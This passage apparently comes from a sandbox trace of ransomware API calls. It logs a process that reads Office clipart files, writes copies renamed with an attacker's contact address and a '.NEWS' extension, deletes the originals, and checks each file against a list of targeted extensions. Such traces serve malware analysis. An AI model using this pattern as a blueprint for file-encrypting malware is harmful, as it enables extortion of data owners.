dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0184.709] GetLastError () returned 0x0 [0184.709] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1b68, lpOverlapped=0x0) returned 1 [0184.730] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0184.731] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.731] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.731] SetEndOfFile (hFile=0x3f4) returned 1 [0184.731] CloseHandle (hObject=0x3f4) returned 1 [0184.732] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.732] SetEndOfFile (hFile=0x36c) returned 1 [0184.736] CloseHandle (hObject=0x36c) returned 1 [0184.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0184.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.738] lstrlenW (lpString=".doc") returned 4 [0184.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.738] lstrlenW (lpString=".docx") returned 5 [0184.738] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.738] lstrlenW (lpString=".pdf") returned 4 [0184.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.738] lstrlenW (lpString=".xls") returned 4 [0184.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.738] lstrlenW (lpString=".xlsx") returned 5 [0184.738] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.738] lstrlenW (lpString=".ppt") returned 4 [0184.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.738] lstrlenW (lpString=".zip") returned 4 [0184.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.738] lstrlenW (lpString=".rar") returned 4 [0184.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.738] lstrlenW (lpString=".bz2") returned 4 [0184.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.738] lstrlenW (lpString=".7z") returned 3 [0184.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.738] lstrlenW (lpString=".dbf") returned 4 [0184.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.738] lstrlenW (lpString=".1cd") returned 4 [0184.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.738] lstrlenW (lpString=".jpg") returned 4 [0184.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.739] lstrlenW (lpString=".doc") returned 4 [0184.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.739] lstrlenW (lpString=".docx") returned 5 [0184.739] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.739] lstrlenW (lpString=".pdf") returned 4 [0184.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.739] lstrlenW (lpString=".xls") returned 4 [0184.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.739] lstrlenW (lpString=".xlsx") returned 5 [0184.739] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.739] lstrlenW (lpString=".ppt") returned 4 [0184.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.739] lstrlenW (lpString=".zip") returned 4 [0184.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.739] lstrlenW (lpString=".rar") returned 4 [0184.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.739] lstrlenW (lpString=".bz2") returned 4 [0184.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.739] lstrlenW (lpString=".7z") returned 3 [0184.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.739] lstrlenW (lpString=".dbf") returned 4 [0184.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.740] lstrlenW (lpString=".1cd") returned 4 [0184.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0184.740] lstrlenW (lpString=".jpg") returned 4 [0184.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.740] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.740] lstrlenW (lpString="J0107728.WMF") returned 12 [0184.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.742] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5492) returned 1 [0184.742] CloseHandle (hObject=0x36c) returned 1 [0184.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220 [0184.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.743] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.743] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0184.958] GetLastError () returned 0x0 [0184.958] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1574, lpOverlapped=0x0) returned 1 [0185.046] WriteFile (in: hFile=0x548, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1580, lpOverlapped=0x0) returned 1 [0185.047] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.047] WriteFile (in: hFile=0x548, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.047] SetEndOfFile (hFile=0x548) returned 1 [0185.047] CloseHandle (hObject=0x548) returned 1 [0185.047] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.047] SetEndOfFile (hFile=0x36c) returned 1 [0185.051] CloseHandle (hObject=0x36c) returned 1 [0185.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0185.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.250] lstrlenW (lpString=".doc") returned 4 [0185.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.251] lstrlenW (lpString=".docx") returned 5 [0185.251] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0185.251] lstrlenW (lpString=".pdf") returned 4 [0185.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.251] lstrlenW (lpString=".xls") returned 4 [0185.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.251] lstrlenW (lpString=".xlsx") returned 5 [0185.251] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0185.251] lstrlenW (lpString=".ppt") returned 4 [0185.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.251] lstrlenW (lpString=".zip") returned 4 [0185.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.251] lstrlenW (lpString=".rar") returned 4 [0185.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.251] lstrlenW (lpString=".bz2") returned 4 [0185.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.251] lstrlenW (lpString=".7z") returned 3 [0185.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.252] lstrlenW (lpString=".dbf") returned 4 [0185.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.252] lstrlenW (lpString=".1cd") returned 4 [0185.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.274] lstrlenW (lpString=".jpg") returned 4 [0185.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.275] lstrlenW (lpString=".doc") returned 4 [0185.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.275] lstrlenW (lpString=".docx") returned 5 [0185.275] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0185.275] lstrlenW (lpString=".pdf") returned 4 [0185.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.275] lstrlenW (lpString=".xls") returned 4 [0185.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.275] lstrlenW (lpString=".xlsx") returned 5 [0185.275] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0185.275] lstrlenW (lpString=".ppt") returned 4 [0185.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.275] lstrlenW (lpString=".zip") returned 4 [0185.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.275] lstrlenW (lpString=".rar") returned 4 [0185.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.275] lstrlenW (lpString=".bz2") returned 4 [0185.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.276] lstrlenW (lpString=".7z") returned 3 [0185.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.276] lstrlenW (lpString=".dbf") returned 4 [0185.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.276] lstrlenW (lpString=".1cd") returned 4 [0185.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0185.276] lstrlenW (lpString=".jpg") returned 4 [0185.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.276] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.276] lstrlenW (lpString="J0145212.JPG") returned 12 [0185.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.277] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=61633) returned 1 [0185.277] CloseHandle (hObject=0x450) returned 1 [0185.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220 [0185.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.278] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.278] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.280] GetLastError () returned 0x0 [0185.280] ReadFile (in: hFile=0x450, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xf0c1, lpOverlapped=0x0) returned 1 [0185.286] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf0d0, lpOverlapped=0x0) returned 1 [0185.289] ReadFile (in: hFile=0x450, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.289] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.289] SetEndOfFile (hFile=0x51c) returned 1 [0185.289] CloseHandle (hObject=0x51c) returned 1 [0185.289] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.289] SetEndOfFile (hFile=0x450) returned 1 [0185.293] CloseHandle (hObject=0x450) returned 1 [0185.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0185.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.295] lstrlenW (lpString=".doc") returned 4 [0185.295] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.295] lstrlenW (lpString=".docx") returned 5 [0185.295] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0185.295] lstrlenW (lpString=".pdf") returned 4 [0185.295] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.296] lstrlenW (lpString=".xls") returned 4 [0185.296] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.296] lstrlenW (lpString=".xlsx") returned 5 [0185.296] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0185.296] lstrlenW (lpString=".ppt") returned 4 [0185.296] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.296] lstrlenW (lpString=".zip") returned 4 [0185.296] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.296] lstrlenW (lpString=".rar") returned 4 [0185.296] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.296] lstrlenW (lpString=".bz2") returned 4 [0185.296] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.296] lstrlenW (lpString=".7z") returned 3 [0185.296] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.296] lstrlenW (lpString=".dbf") returned 4 [0185.296] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.296] lstrlenW (lpString=".1cd") returned 4 [0185.296] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.296] lstrlenW (lpString=".jpg") returned 4 [0185.296] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.296] lstrlenW (lpString=".doc") returned 4 [0185.297] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.297] lstrlenW (lpString=".docx") returned 5 [0185.297] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0185.297] lstrlenW (lpString=".pdf") returned 4 [0185.297] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.297] lstrlenW (lpString=".xls") returned 4 [0185.297] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.297] lstrlenW (lpString=".xlsx") returned 5 [0185.297] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0185.297] lstrlenW (lpString=".ppt") returned 4 [0185.297] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.297] lstrlenW (lpString=".zip") returned 4 [0185.297] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.297] lstrlenW (lpString=".rar") returned 4 [0185.297] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.297] lstrlenW (lpString=".bz2") returned 4 [0185.297] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.297] lstrlenW (lpString=".7z") returned 3 [0185.297] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.297] lstrlenW (lpString=".dbf") returned 4 [0185.297] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.297] lstrlenW (lpString=".1cd") returned 4 [0185.297] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0185.297] lstrlenW (lpString=".jpg") returned 4 [0185.298] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.298] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.298] lstrlenW (lpString="J0145272.JPG") returned 12 [0185.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.299] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=49238) returned 1 [0185.299] CloseHandle (hObject=0x450) returned 1 [0185.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220 [0185.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.300] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.300] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.301] GetLastError () returned 0x0 [0185.301] ReadFile (in: hFile=0x450, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xc056, lpOverlapped=0x0) returned 1 [0185.668] WriteFile (in: hFile=0x51c, 